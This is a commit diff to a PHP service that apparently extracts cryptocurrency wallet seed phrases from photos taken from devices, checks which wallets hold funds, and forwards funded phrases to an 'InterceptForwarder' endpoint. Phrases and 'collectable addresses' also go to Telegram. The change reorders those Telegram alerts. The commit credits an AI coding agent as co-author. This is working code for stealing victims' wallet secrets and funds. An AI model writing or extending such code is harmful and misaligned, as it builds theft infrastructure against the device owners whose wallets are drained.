Skip local Telegram when a funded scan mnemonic is forwarded.
Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -28,6 +28,7 @@ class MnemonicScanService
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -386,7 +387,7 @@ class MnemonicScanService
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
], $origin, notify: false);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
@@ -397,7 +398,7 @@ class MnemonicScanService
|
||||
}
|
||||
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic);
|
||||
$this->discovery->discoverActivated($mnemonic, notify: false);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
@@ -405,11 +406,25 @@ class MnemonicScanService
|
||||
]);
|
||||
}
|
||||
|
||||
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = false;
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
if ($forwarded) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
$this->telegram->notifyNewMemoric(
|
||||
(string) $holder->device_id,
|
||||
(string) ($mnemonic->source ?: ''),
|
||||
$phrase,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$this->telegram->notifyCollectableAddresses(
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
|
||||
Reference in New Issue
Block a user